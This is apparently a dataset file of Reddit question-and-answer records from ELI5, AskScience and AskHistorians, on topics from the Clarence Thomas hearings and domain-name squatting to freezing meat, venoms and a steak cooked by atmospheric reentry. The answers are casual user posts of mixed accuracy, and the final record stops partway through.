{"q_id": "9jrc27", "title": "What is the historical verdict on Clarence Thomas vs Anita Hill? Who was telling the truth?", "selftext": "Given the current Supreme Court nomination and charged political climate, I wonder if historians could offer perspectives on a very similar debate in 1991 when Clarence Thomas was being nominated for a seat. What was the background of Anita Hill's allegations against him? Who was being more truthful? How did that impact the politics of Supreme Court nominations from that point on?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9jrc27/what_is_the_historical_verdict_on_clarence_thomas/", "answers": {"a_id": ["e6v29hs"], "score": [108], "text": ["Current event(s) notwithstanding, there's a lot of layers here. \n\n**The Historical Trends/Context**\n\nThe confirmation hearing of the Justice Clarence Thomas happened at an interesting cross-section of different strands of American culture. \n\nFirst, the status of women in American society, in general, and the workforce, in particular, was changing and this change prompted negative reaction(s) from men, up to and including sexual harassment. The experience(s) of Anita Hill--and particularly her stated fear for her job security--were far from isolated incidents.\n\n > During the 1970S, following a period of relative stability in occupational\nsex segregation, women began to break into a variety of traditionally male\njobs.^105 Different factors account for these changes, among\u00b7 them long~term\nshifts in women's labor force participation ^106 as well as the federal government's\ngrowing commitment to enforce the sex discrimination provisions of\nthe Civil Rights Act of 1964.^107 In fact, these changes in the degree of occupational\nsex segregation were relatively small, and restricted to certain occupational\ncategories. (For example, from 1970 to 1980, the percentage of women\nin administrative positions increased by 11.9 percent, while the percentage of\nwomen in construction work increased by only 1.3 percent to about 1 percent\nof the jobs in the industry.)^1\u00b08 But however small these changes, they were\nfraught with symbolic import. An active second-wave women's movement\nwas energetically asserting women's right to partake in traditionally male\npractices, preserves, and prerogatives, especially in matters of work. Against\nthis backdrop even marginal shifts in workplace integration resonated with\nlarger social import. At stake was the gendered character of work itself.\nThere was a quite varied repertoire of tactics that men in different occupational\npositions used to frustrate women's efforts to participate in forms of\nwork that were traditionally gendered male. Sexualized attention emerged as a\nweapon in this turf war, a means of making women feel so unwelcome that\nthey would eventually leave. In short, the practice of sexual harassment which\nwe have thus far defined as unwanted sexual relations imposed by superiors on subordinates at work- began to play a new role in political economy of heterosexuality... Lin Farley: \"The function of sexual harassment in nontraditional jobs is to keep women out: its function in the traditional female job sector is to keep women down.\" ^109  [Source: Introduction to [*A Short History of Sexual Harassment* by Reva B. Siegel](_URL_0_)]\n\nLet's look at one example of a workplace sexual harassment claim from the era. From the Supreme Court--oh the irony--in the 1986 *Meritor Savings Bank v. Vinson* case,  \"a bank teller complained that shortly after she was hired (and while she was still on probation), her supervisor invited her out to dinner, and then \"suggested that they go to a motel to have sexual relations\";^113 after resisting, she capitulated. According to her complaint,\nshe then had sex with her supervisor some forty or fifty times in the next\nseveral years, and on several occasions was raped by him. [Source: Introduction to [*A Short History of Sexual Harassment* by Reva B. Siegel](_URL_0_)]\n\nSecond, America was one generation removed from the Civil Rights Movement and Black American \u201cunity\u201d always shaky was particularly vulnerable at this time. After the end of the Civil Rights Movement and the systematic squashing of the Black Power Movement, Black American political \"unity\" and \"leadership\" evaporated--although the (vast?) majority of Black Americans remained liberal to extremely liberal in their political positioning, especially on racial matters. This positioning--then and now--\"bubbled up\" local Black political leaders who were/are liberal. Hidden from the mainstream narrative at this time, is a dedicated strain of Black *conservative* thought. These Black conservatives wanted to put forth \"a new vision based on individual responsibility, the notion of diversity within the ethnic community and the absence of ethnic frontiers in the perception of the self, which they called transethnicity. The actors of this new political scene were Clarence Thomas, then aide to Republican Senator John Danforth (R-MO) at the time; Thomas Sowell, an economist member of the Hoover Institution; Walter Williams, another economist following the steps of Sowell; Clarence Pendleton, president of the San Diego Urban League and Tony Brown, radio show host (Brown stands apart as he considers himself more a moderate nationalist than a Black conservative)\" [Source: [Black conservatism in the 1980s: will the future be conservative \u2026 for African Americans?](_URL_2_)] \n\nLooking for potential ways to expand the Republican party electorate and make a play for the heretofore reliably Democratic Black Americans, the Reagan administration embraced the Black conservatives. Clarence Thomas was appointed Under-Secretary of Education for Civil Rights and then appointed head of the Equal Employment Opportunity Commission. \"Clarence Pendleton became the chairman of the United States Civil Rights Commission; Gloria Toote was appointed at the Department of Housing and Urban Development and became influent in urban affairs; Henry Lucas became the first African American to serve in the executive committee of the RNC; as for Thomas Sowell, he was offered a position in the Department of housing and urban development.\" [Source: Black Conservatism]. While these Black conservatives continually attempted to minimize the importance of their racial identity, they remained acutely aware of it because of their relative isolation from the wider Black community and their racially specific goal of bringing more black Americans closer to conservative thought. \n\nSo in 1991, when Thurgood Marshall's health was too poor to wait out George H.W. Bush's presidency, he retired and explicitly stated that race should not be a factor in choosing his successor--and it wouldn't have been if he wasn't the *only* non-white person on the Supreme Court, but alas he was. Clarence Thomas had been nominated to the US Court of Appeals for the D.C. Circuit in 1989. Oddly enough, Bush had considered nominating Thomas to the Supreme Court earlier in 1990 when Justice William Brennan retired, but he felt that only a few months of experience was insufficient for the highest court in the land. [Source](_URL_1_) Thomas, with now *18 months* of experience, a conservative record, and black skin, was a shoe-in for the nomination of Marshall's seat.    \n\n[Note: Wow! This is the first time, I maxed out reddit's character count, so continued below this Comment.]\n\nEdit: Words/formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://law.yale.edu/system/files/documents/pdf/Faculty/Siegel_IntroductionAShortHistoryOfSexualHarrasmentLaw.pdf", "https://abcnews.go.com/TheLaw/story?id=3664944&amp;page=1", "https://journals.openedition.org/rrca/115"]]}
{"q_id": "15sdf7", "title": "why does alcohol make me incredibly sociable and talkative, while cannabis makes me quiet and shy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15sdf7/why_does_alcohol_make_me_incredibly_sociable_and/", "answers": {"a_id": ["c7pdg0c"], "score": [3], "text": ["Mind-alterting substances by their nature affect everyone differently. There's no way to pinpoint an exact reason why one psychoactive substance makes you this way while another  makes you that way. All we can say is that alcohol affects your specific brain chemistry is a way that lowers inhibitions and promotes socialization, while cannabis does the opposite. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rpk3n", "title": "what happens after a company forgets to renew their domain name? can the person who bought it afterwards negotiate a huge price for the company to get it back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rpk3n/eli5_what_happens_after_a_company_forgets_to/", "answers": {"a_id": ["cdpkn5o", "cdpkn6e", "cdpkxwo", "cdpl9aq", "cdpm7of", "cdpmes8", "cdpmgeh", "cdpntzl", "cdpo775", "cdpogg8", "cdpqrnk", "cdpr3ib", "cdprgnb", "cdprhr1", "cdprsbb", "cdpt0cz", "cdptxz4", "cdpu3pr", "cdpvhv1"], "score": [4, 18, 3, 96, 28, 15, 5, 6, 14, 14, 8, 2, 3, 3, 7, 3, 3, 4, 2], "text": ["If a domain is important to a company, they most likely have it set to auto-renew so there's no chance of them losing it.\n\nIf it isn't renewed for whatever reason, then use, the person who buys it after can negotiate with them to sell it back to them. An example of this happened with the advertising campaign for the film [28 Weeks Later](_URL_0_); the ad agency put a URL in the adverts that they forgot to buy. Someone else snapped it up and was able to sell it to the ad agency (for an undisclosed sum).", "Yes. But it may be illegal in the USA ([cybersquatting](_URL_0_)).", " Can be funny when it happens _URL_0_", " >  What happens after a company forgets to renew their domain name? \n\nOnce the domain expires, it enters a renewal grace period of about 30 days where the original owner can reclaim it. Once that 30 days is up, it enters a \"redemption period\" where the domain is frozen for 30 more days and drops from the zone file. The original owner can reclaim or make changes to the domain, but the registrar fees at this point are often well into the hundreds of dollars (which is easily still worth it if the alternative is losing your business).\n\nFor about 5 to 10 days, it goes through deletion processing where it is dropped from the registry and is available to be registered by the general public.\n\nSome registrars will retain their deleted domains to auction them off; whether they do it themselves or have an agreement with a third party auction house depends on the registrar.\n\nMore often than not, a domain that had an established website never makes it through deletion processing and is sold off for auction. Old domains that had measurable bodies of content, users, or search volume can be extremely valuable and can sell for many thousands of dollars.\n\nWhen it's bought at auction, the new owner can use the domain as they see fit. The vast majority of auctioned domains end up in a portfolio of domains owned by a reseller; we call them a squatter. They often prompt the original domain owners, their competitors, and other interested parties to buy the domain well above cost. \n\n >  Can the person who bought it afterwards negotiate a huge price for the company to get it back?\n\nThis is legal as long as the domain isn't a registered trademark and they aren't trying to actively impersonate the original owners of the domain. If there are trademark or legal issues, there are avenues people can take to reclaim their domains; otherwise, they're out of luck and either have to pay the squatter's exorbitant fees or find another domain. I've had companies that drop their domains because no one was monitoring their registrar billing information that were squatted and reoffered to them for tens of thousands of dollars. \n\nThe moral of the story is to always make sure your billing information is up-to-date, and set your domains to auto-renew.", "Only if you're Taco.", "Another good lesson in keeping your domain reviewed is the case of a gentleman who started an Internet phone business in the 1990s. The store itself didn't last too long, but he kept the domain name renewed.\n\nIn 2007, he sold the domain name for a nice chunk of change, because the domain he'd chosen was _URL_1_: _URL_0_", "I've had a domain of mine expire through godaddy. After two weeks or so of it expiring, it goes back to ICANN, and they essentially hold it \"hostage\" for I think 60 days. During that period you can pay to \"recover\" your domain, for me it was $80. Then after that period, it goes back into the unregistered pool, and anyone can pick it up. And if it goes that far, you will have to pay whomever it is to get it back", "Not sure about renewals but a lot of early adopters of the internet made a lot of money that way. i had a professor in college who made by most accounts several million dollars doing it. He registered as many 3 and 4 letter acronyms as he could (several thousand of them) in the early nineties with the assumption that eventually a company with that name would want to make a website. He would then sell it to them for a reasonable fee. Not sure if it would be doable now, but for a while it was a legit business. Similar to patent trolls. You can argue about the ethics but it's technically legal and potentially lucrative.", "FWIW, you cannot buy .gov domains that expired.  I tried when my state forgot to renew.  ", "_URL_0_ expires on 9/13/2020. Mark your calendars. ", "In 1999 Microsoft didn't pay the $35 to renew '_URL_0_' (used for al hotmail accounts at the time).  This caused the site to go down - one user logged on and paid the $35 to get it back online the next day.  He didn't 'gain control' but Microsoft did reward him.", "Nice try Taco, but you already sold back _URL_0_", "Can't happen any more. Even if you did buy it it would be seized and returned to the owner who forgot to renew say _URL_0_", "With some country domains (like .fi at Finland), companies, organizations and I think that even individuals can claim a reserved domain to themselves, if the domain is registered with their own name. \n\nFor example, if I had a registered company called Mom's spaghetti, and someone had _URL_0_, I could just claim it to myself and the original owner couldn't really do anything about it.\n\nSo, in this case, someone could buy the domain, but the company could just claim it back from the Finnish Communications Regulatory Authority.", "I never researched this, but if it's true, it's simply hilarious.\n\n\nI was once told that in the beginnings of the Internet a man was smart enough to buy the domain name _URL_0_. The real LDS church, of course, utilizes the site _URL_1_. \nThe man who bought _URL_0_ turned it into a pornography site--porn being one of the most preached against practices of the LDS church. Worse than coffee. \nThe LDS church ended up purchasing the domain from the man for an 'undisclosed amount'. \n\nGenius. \n\nEdit: formatting", "I had a domain name I didn't want to renew. A month later some company brought it just to try and resale it for some dumb amount. I believe it's bots that purchase the domain names to try and sell them for more money. I had to wait 2 years until they decided not to renew it. There is a business out there on domain name purchasing.", "The question is answered already but I'd like to add that domain name registration and reservation needs reworking. I'm working on a few projects and an absolute ton of domain names are \"parked\" by companies that register a name, stick a \"this is for sale\" banner on it and hope someone will pay premium for it. Given the fact that domain names people search for more than a few times are automatically registered by various companies (hi GoDaddy) this is becoming a problem. It would be a very good idea if companies were required to back a domain with a legitimate service or business and that such things can be fought in court. Or...something similar.", "Not an expired domain name, but the story about _URL_0_ is kind of interesting. _URL_1_", "_URL_0_. \n\nJerry will pay a cool $250 for that one. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/28_Weeks_Later#Viral_advertising"], ["http://en.wikipedia.org/wiki/Cybersquatting"], ["http://www.cnet.com.au/cat-ladies-take-over-the-australian-christian-lobby-339344097.htm?redir=1"], [], [], ["http://appleinsider.com/articles/07/07/02/apple_secures_iphone_com_for_seven_figure_sum____report", "iPhone.com"], [], [], [], ["Google.com"], ["passport.com"], ["Cowboys.com"], ["Google.com"], ["momsspagetti.fi"], ["Mormon.com", "Mormon.org"], [], [], ["charlottebobcats.com", "http://www.grantland.com/blog/the-triangle/post/_/id/28562/the-story-behind-charlottebobcats-com"], ["DallasCowboys.Com"]]}
{"q_id": "2qjjas", "title": "i've had dreams where i've had sex before i've ever had sex in real life and it felt almost identical. how is it possible to have such vivid dreams of an experience i didn't have before?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qjjas/eli5_ive_had_dreams_where_ive_had_sex_before_ive/", "answers": {"a_id": ["cn6nh9n", "cn6ovfh"], "score": [3, 2], "text": ["Dreams are weird.  No one is really 100% sure how our brains can paint such vivid pictures without experiencing whatever is going on.  One hypothesis is that actions in dreams like sex, fighting, running, etc are pretty basic actions and are ingrained in our DNA so that might play a part.  Another hypothesis is that we are bombarded constantly by so much information that we may not consciously process it, but subconsciously our brain is saying \"oh really?  That's interesting.\" And it plays back in our sleep.", "Do you mean it felt identical in all the incidental mechanics, or just in the arousal and orgasm?\n\nIf the latter, those feeling are produced by the brain, and dreams are produced by the brain, so it is pretty easy for the brain to cue up an orgasm using the same part of the brain responsible for the real thing.\n\nIf the former, well, hunh, that's odd.  I have no idea how your brain knew that the first time you had sex, you would accidental stab her in the boob with your elbow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "13wrm1", "title": "When you freeze and thaw fruit, it turns to mush. If you froze/thawed your hand, it would turn black and die. But if you freeze/thaw steak and other things, they remain juicy and perfectly fine. Why do some things freeze \"well\" but not others?", "selftext": "I know the reason freezing things damages them is because the frozen cells rupture, but why does this effect seem to be negligible on some things that contain lots of moisture (like some animals that can survive the freezing process for instance)? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13wrm1/when_you_freeze_and_thaw_fruit_it_turns_to_mush/", "answers": {"a_id": ["c77wc8b", "c77x9cs", "c77xfdp", "c77z1f5", "c780wmz"], "score": [12, 54, 9, 6, 111], "text": ["\n[When frozen, the water in fruits and veggies expands, causing ice crystals to puncture and break cell walls. As a result, some fruits and veggies tend to get mushy when thawed. To reduce the amount of cellular damage, freeze fruits and veggies as quickly as possible: colder temperatures produce smaller ice crystals, which do less damage to cell walls. The \"mushy factor\" is also why we recommend eating frozen fruits before they have completely thawed.](_URL_1_)\n\nNow for the steak, I would assume it has many protein molecules, protein is water soluble in some cases (think about when you marinate a steak and it becomes less tough).  The juice in the steak has [myloglobin](_URL_0_) in it which bonds to iron and oxygen.  Maybe the ice crystals do little damage to the cell structures and doesn't cause the meat to expand much.  \n\nI studied Psychology and only used google to try to figure this out, feel free to correct and/or add to these ideas.\n", "Most animals that can survive sub-freezing temperatures do so by minimizing the formation of ice crystals. [They synthesize and accumulate chemicals inside their cells. These chemicals, through simple colligative properties, lower the freezing point of water.](_URL_3_) Lower freezing point = less ice = better chance of survival.\n\n[Some plants do additional things to survive, such as altering their cell membranes.](_URL_1_) The alterations allow water to flow out of cells, \"deflating\" them a bit. Thus, they can handle the volume expansion due to freezing. They also use cryoprotectants, to minimize the amount of freezing that occurs in the first place.\n\nNow, to the issue of freezing and thawing steak. When you thaw out a steak, it doesn't become mushy like fruit due to the structure of muscles. [Take a gander at the structure of a muscle.](_URL_0_) See all that white in the muscle? That's all connective tissue. The [connective tissue](_URL_2_) found in muscles is mostly made of collagen, which makes it tough and elastic. This connective tissue is what gives muscle its structure, and it is not as susceptible to freezing damage as cell membranes. So even if the cell membranes are damaged by freezing, the meat is still held together by all that collagen.", "I would like to point out that your premise that 'if you freeze/thaw steak... they remain juicy and perfectly fine' is flawed.  Frozen and thawed steaks remain edible, but certainly aren't perfect. \n\nOne of the reasons you aren't supposed to re-freeze previously frozen stuff is because the ice crystals formed from refreezing seriously deteriorate the meat. Meats frozen at a supplier are frozen at super low temps to prevent the formation of large ice crystals. The difference between something that has never been frozen and something that has, can certainly be noticed by people though. ", "There's really no difference between your hand and a steak.  If you froze/thawed your hand, it would be juicy and perfectly fine to cook and eat for a while.  A steak will turn moldy after a few days at room temperature, just like your hand if it dies.", "This is a two part answer that explains the question from a food science and meat-processing and cooking perspective. The first part is about how meat (beef in particular) is produced, cooked and stored, the second will talk about why frostbite on a human isn't the same thing as a slab of frozen dead meat.\n\nPart 1 - the juicy frozen steak.\n\nMeat does sometimes turn to mush when frozen. It depends a lot on the water content when frozen and what kind of meat it is and what the cut was. If a piece of beef is frozen in a marinade or water-salt solution it will end up very, very mushy. (See mail order steaks that are usually brined and frozen in a plastic wrapper.)\n\nButchered and prepared beef and other red meat is usually \"aged\" before it's frozen or long before it is on sale. Meat packers and butchers drain most of the blood out of a side of beef or larger cuts of a side and \"dry age\" it by letting it hang in a meat locker or cooler from a couple of weeks to a whole month or more before it's shipped to a butcher or grocery store and processed into cuts for sale.\n\nDry aging not only dries out the meat but it helps break down some of the collagen in a slab of beef which makes it more tender when it cooks. Aging gives natural enzymes and/or bacteria a chance to soften up the collagen fibers.\n\nThere are some chefs and people who actually prefer that a cut or steak is allowed to age so much that it's starting to turn brown or even starting to approach the putrefaction and rotting stage. It does indeed produce a more tender, flavorful and \"juicy\" steak or roast, especially for thick roast/rack cuts.\n\nVery freshly killed red meat has a much different texture and profile than stuff that's been aged or frozen. It's so different that most people wouldn't actually enjoy the taste or texture of a steak that's been cut from a cow that was alive just a few hours or minutes before cooking. It would taste too bloody to them and too gamey and too rubbery among other issues.\n\nOther meat like pork, fish or chicken will definitely be more mushy after freezing and thawing, but pork is more similar to beef and survives being frozen better than fish or chicken. And people generally *like* the effects of freezing on fish and chicken as long as it isn't dehydrated or freezer-burned. Really fresh fish or chicken tends to cook up more rubbery/chewy and tastes a bit more gamey.\n\nThere's a reason why even very high quality seafood destined for the most expensive sushi restaurants is frozen, and it's not just for safety or handling. While it does kill off parasites like worms - it also helps tenderize and improve the texture. And reeeeally fresh sushi is very weird tasting for most fish, especially large fish like tuna. A slab of tuna cut from a freshly caught fish will often move and react to the heat of a grill or the trauma of being sliced up for hours after the fish is braindead.\n\nMost of the above is also why ground beef or other ground meat freezes so well. Not only has it been drained and aged but it's also had most of the cellular membranes broken up by grinding. It's generally going to cook the same as fresh but never frozen ground beef.\n\nThe \"juiciness\" of a steak really doesn't have that much to do with water or actual moisture in the steak. It has more to do with the chemical process of cooking and what happens to fat, proteins, collagen and other structures when heat is applied and they break down and change phase from solids to liquids.\n\nYou can dry age or even salt cure a slab of beef to the point where you can't even wring or press a drop of blood or moisture out of it, freeze it and then try wringing it out again.\n\nWhen you cook it the heat is still going to break down solid fats, proteins, collagen and whatnot and turn some of them into liquids, which is how you still end up with a \"juicy\" steak after cooking. It's basically the same thing that happens when you melt a cube of butter - tightly knit longer molecules of fats and fatty acids break down into shorter molecules and relax/untangle and allow some or all portions of it to turn into a liquid, which is retained by the physical structures of the remaining collagen and cellular structures.\n\nAnd that liquid fat on your plate when you eat a steak will certainly re-solidify if allowed to cool. Instead of being \"juicy\" it tastes and looks like lard or refrigerated Crisco and it sticks to your teeth and isn't nearly as pleasant as melted/hot fats.\n\nPart 2 - Frostbite.\n\nBiologists in this thread can and have explain this better and in more detail, so this is a simplified version and I may have some things wrong.\n\nFrostbite on a living animal is a completely different scenario compared to freezing a chunk of beef.\n\nWhen frostbite occurs to a living animal/human, what's happening is that the body is reacting to the cold with survival strategies. In an effort to keep core body temps up it starts to restrict blood flow to the extremities as a scheme to lose less heat to the environment.\n\nThis process doesn't happen to a piece of beef that's been killed first and then frozen, as it is now metabolically inert outside of the native enzymes or microbes. There's nothing to control or start this survival strategy. Blood flow isn't drained away and restricted, leaving the extremities to basically dehydrate and selectively die off in the cold.\n\nWhen frostbite occurs it causes a number of things to happen. Cellular damage is one of these things, but there's also nerve and vascular damage, which can allow gangrene and rotting to set in very rapidly as soon as it starts to thaw and return to room or body temperature.\n\nThis rotting will also happen to a piece of beef if it's frozen and then left to sit and thaw and go rotten, but true gangrene doesn't happen because there isn't the continual warmth, natural microbes and food supply of fresh blood trying to re-enter the damaged tissues.\n\nGangrene is a complicated biological problem where the body is trying to repair the damaged tissues and failing due to the extent of the cellular and vascular damage occurring, which is accelerated by the blood supply and continual supply of natural enzymes and microbes and the inability to take away waste products and dead white blood cells and the like, which accumulate in the damaged portions due to cellular and vascular damage.\n\nThis is also why gangrene happens with severe infections. There's structural damage occurring as the microbes break down structures or tissues causing cellular, vascular and tissue damage that prevents blood flow and waste removal activities during the attempt to heal and repair the damaged tissues.\n\nIf you hacked off your hand or arm or a slab of your own human meat and then froze it it would basically react the same way as frozen pork or beef. It wouldn't turn gangrenous and putrefy so easily, and it would be edible if you cooked it just like a frozen steak or porkchop.\n\nConversely if you cooked a chunk of yourself that was frostbitten, it would also behave the same way IF you cut it off and cooked it before gangrene and  cellular decomposition started setting in.\n\nBut that happens so rapidly due to the process of frostbite on the extremities of a living mammal that the window would be very small. Frostbitten tissue has a source of heat and warmth at the interface between frozen tissue and non-frozen tissue, which is (again) supplied at that interface by fresh blood and white blood cells which have difficulty being removed or removing the waste products, so it goes gangrenous and putrefying very, very quickly because it's still attached to a metabolically active, living creature that's trying to repair it.\n\nAs for fruits and veggies and such, see the other answers in this thread. It depends entirely on the plant in question, its moisture content, cellular structure, chemical composition and if it has any natural coping skills for dealing with freezing.\n\nThere are some plants like kale that do very well when wintering and partially frozen while staying alive and this tends to lead to more flavorful and tasty kale. Many gardeners intentionally leave kale in the ground over winter to take advantage of this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Myoglobin", "http://allrecipes.com/howto/how-to-freeze-fruits-and-vegetables/"], ["http://upload.wikimedia.org/wikipedia/commons/8/89/Illu_muscle_structure.jpg", "http://en.wikipedia.org/wiki/Cold_hardening", "http://en.wikipedia.org/wiki/Connective_tissue_in_skeletal_muscle", "http://en.wikipedia.org/wiki/Cryoprotectant"], [], [], []]}
{"q_id": "1fo2br", "title": "What is the worst disease, poison, sting or bite a human being can suffer?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fo2br/what_is_the_worst_disease_poison_sting_or_bite_a/", "answers": {"a_id": ["cac3xnj", "cac4kgz", "cac4v3v", "cac51ce", "cac5nq1", "cac5t2x", "cac5we3", "cac60ws", "cac64qf", "cac67ah", "cac6ip6", "cac6uf5"], "score": [24, 21, 28, 4, 8, 3, 2, 8, 12, 9, 2, 2], "text": ["[The Bullet Ant.](_URL_0_)  It is said that the pain from a single sting lasts for 24 hours.   ", "[The Gympie Gympie](_URL_0_) has been known to cause pain so severe and for so long that people eventually kill themselves.\n\nEDIT: [I found the video where I learned of this bastard.](_URL_1_)", "Blue ringed octopus poison is some nasty fucking shit. It's a neurotoxic agent around 10,000 times more powerful than cyanide, and usually causes complete paralysis within minutes of being stung. While thats nasty in its own right, the worst thing is that you're pretty much suffocating in your own body because you can't breathe due to the paralysis while conscious and fully aware of whats happening. A lot of deaths actually occur because first aiders don't administrate proper care as they mistake victims to be dead. There's no anti venom.\n\nEdit: Also, *Chironex fleckeri* (Box jelly). Death is usually caused by shock due to the intense pain as opposed to the actual poison. God there's a lot of cool stuff in the oceans.", "You should check out [this](_URL_0_).", "I have to believe that the [Ebola family](_URL_0_) of viruses belongs somewhere close to the top. ", "[Platypus venom](_URL_0_) is rather bad.", "The [Golden Poison frog](_URL_0_) is believed to be the most poisonous animal.  Its poison can kill up to 20 humans.\n\n", "The Brazilian Wandering Spider.. it bites you and you get a boner so hard it makes it feel like your dick is going to pop.\n\n _URL_0_", "If you get stung by [this](_URL_0_) jellyfish, you think you're going to die.\n\n > Irukandji syndrome is produced by a small amount of venom and includes severe pains at various parts of the body (typically excruciating muscle cramps in the arms and legs, severe pain in the back and kidneys, a burning sensation of the skin and face), headaches, nausea, restlessness, sweating, vomiting, an increase in heart rate and blood pressure, and psychological phenomena such as the feeling of impending doom.\n\nThat's right. A feeling of impending doom. Remember that time you stayed up too late in that empty house in the country after reading creepypasta and watching all of Marble Hornets and playing Amnesia from start to finish? That's what you feel. For WEEKS. While your entire body feels like it's going through organ failure and your skin is on fire.\n\nAlso their tentacles are 1 meter long and their body is only 5mm wide so not like you can avoid them.", "If you count any type of disease, then cluster headaches by far. They are nicknamed \"suicide headaches\" because the level of pain has driven some to suicide.\n\n_URL_0_", "Maybe this question is misplaced, but how does direct manipulation of nerve endings compare to some of the more horrifying poisons that we know of?   ", "Tha'ts pretty simple man.  Ebola is a pretty good winner.  Bacteria that eats your flesh while you're alive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Paraponera"], ["http://en.wikipedia.org/wiki/Dendrocnide_moroides", "http://www.youtube.com/watch?v=nkTlaF1sP_A"], [], ["http://en.wikipedia.org/wiki/Starr_sting_pain_scale"], ["https://en.wikipedia.org/wiki/Ebola_virus"], ["http://en.wikipedia.org/wiki/Platypus_venom"], ["http://en.wikipedia.org/wiki/Golden_Poison_Frog"], ["http://en.m.wikipedia.org/wiki/Brazilian_wandering_spider"], ["http://en.wikipedia.org/wiki/Irukandji_jellyfish"], ["http://en.wikipedia.org/wiki/Cluster_headache"], [], []]}
{"q_id": "1qxzlx", "title": "why do many people consider it racist to compare the gay rights movement with the civil rights movement?", "selftext": "I can understand if someone is dismissing the civil rights movement, or trying to say that the civil rights movement is over now, but other than that, why would that be an offensive comparison? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qxzlx/eli5_why_do_many_people_consider_it_racist_to/", "answers": {"a_id": ["cdhmvbp", "cdhmwli", "cdhnmoc", "cdhnxg8", "cdhnxmc"], "score": [16, 8, 8, 5, 2], "text": ["I've never heard of that sentiment", "Because they are prejudiced against gay people.", "Correct me if I'm wrong, but gay rights *are* civil rights. ", "It's probably the misunderstanding that civil rights means black rights. Civil rights means the personal rights extended to every individual. This includes black people and gay people, alike. To say that the gay rights movement is the new civil rights movement in The United States is an unquestionably true statement.", "The sentiment I've heard is that the government responded to 1960's civil rights events much more violently than they do gay rights events. Black protesters were commonly sprayed with fire hoses, attacked by police dogs, and beaten by riot police. Gay rights events have faced much less official opposition. Personally, I haven't heard of such a thing happening at a gay rights protest. I'm guessing the feeling is, for a gay rights protester to compare himself to a civil rights protester is diminishing what civil rights protesters were subjected to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "11mf7a", "title": "[x-post from /r/shittyaskscience] At what distance from earth would you have to drop a steak for it to be cooked medium rare by reentry into the atmosphere?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11mf7a/xpost_from_rshittyaskscience_at_what_distance/", "answers": {"a_id": ["c6nqerb", "c6nqg2f", "c6nqh38", "c6nqhxl", "c6nr539", "c6nr546", "c6nrc1p", "c6nrg7e", "c6nte2i", "c9czy0l"], "score": [17, 193, 90, 27, 4, 2, 2, 11, 3, 2], "text": ["If you'll accept as medium rare a steak where the outer parts are somewhere between cooked and burnt to crisp and the inner part is between uncooked and burnt to crisp then you may find a solution to this question. And even then it will quite likely be very chaotic so expect to drop a lot of steaks and you might get some percentage of them within your acceptance parameters. \n\nIf you want the steak cooked just right then I'd say, without any math to back it up, that there is no such height. My reasoning is that by only changing the drop height you can't independently control both the cooking temperature and cooking time. So it would be quite unlikely that there would be a point where these two match just right so you get the perfect steak. Although the chaotic behaviour may come to your advantage here. If you drop a million steaks then maybe by chance some of them get close to what you want.", "If you can't find an answer here you can always try e-mailing whatif@xkcd.com and hope it gets featured there, because it sounds like a question that would fit. Sorry I can't help any further =/", "So the heat from re-entry doesn't actually get caused by the distance per-se, it's more due to the change in velocity. This is why the space shuttle, which was coming in at ~27,000 km/hr does require heatproof pads, but something like Felix Baumgartner does not. Its the energy lost in the change in momentum due to friction by the air that causes the heat, so a more appropriate question to ask would be, what is the initial velocity required to cook a steak to medium rare on re-entry?", "The specific heat capacity of frozen \"round steak\" is 1.59 KJ/kg*C, and I've emailed the question to the what if section of XKCD \n\n", "I'm just sitting here, imagining a physicist at NASA all alone at night in the building with no lights on other than his desk lamp with a pale yellow hue.  He's at his desk punchign numbers into a calculator and a mountain of papers with calculations on them spilled all around him.  He picks up the phone, mumbles some jibberish to someone and hangs up.  Breathes a heavy sigh, pushes himself out from his desk, grabs his hat and turns out his light.\n\nAfter his trafficless commute home, he closes his front door behind him and checks his watch.  He puts his hat on the hook he put up the other day and makes his way to the kitchen.  A note from his wife says something about left overs in the fridge.  He checks his watch, pauses thoughtfully for a moment then grabs a dinner plate from the cupboard.\n\nHe walks, plate in hand, to the sliding glass doors at the other side of the kitchen, staring up at the white glow of the moon.  He quietly slides open the door and steps out onto his back deck.  He notices a black speck just off centre, slowly panning across the face of the moon.  He can't contain his excitement.  For the first time in months, a huge smile appears across his face.  He sits in his muskoka chair, holds his plate above his head and no more than a moment later, *thud*, his steak has arrived, medium rare, just as he ordered from the space station.\n\nHe looks up to the sky once more, slowly noding in appreciation and fills his belly with the greatest use of the NASA budget in history.", "Side question,  would this type of heating cause the [Maillard reaction](_URL_0_) to occur?  Would we get the browning that is desired as part of cooking a steak?", "Sent it to whatif@xkcd.com\n\nI hope to see it on there in a few weeks.  ", "Assumptions:\n\n- the average rib-eye area of a choice steak is 85 cm^2. *[Source](_URL_2_)*\n\n- I assume one-inch thickness. The density of steak is roughly 1.556 g/cm^3, thus the mass of this steak is 336 g.\n\n- Standard ambient temperature (298K) for both air and the steak\n\n- Molecular mass of air is 28.967 g/mol\n\n- The steak is traveling with its full surface area exposed to the fluid flow. It does this by magic or something, I don't know.\n\nI found [this](_URL_1_) back-of-the-envelope calculation for the heat that the steak will experience due to aerodynamic heating. I think it's good enough for the kind of ballpark estimate we're going to be using here. Using the values above and solving for velocity:\n\nV^2 = k_B / m_air * ( T_eff^2 - 298^2 )^0.5\n\nThis gives us the velocity at which to travel for the steak to 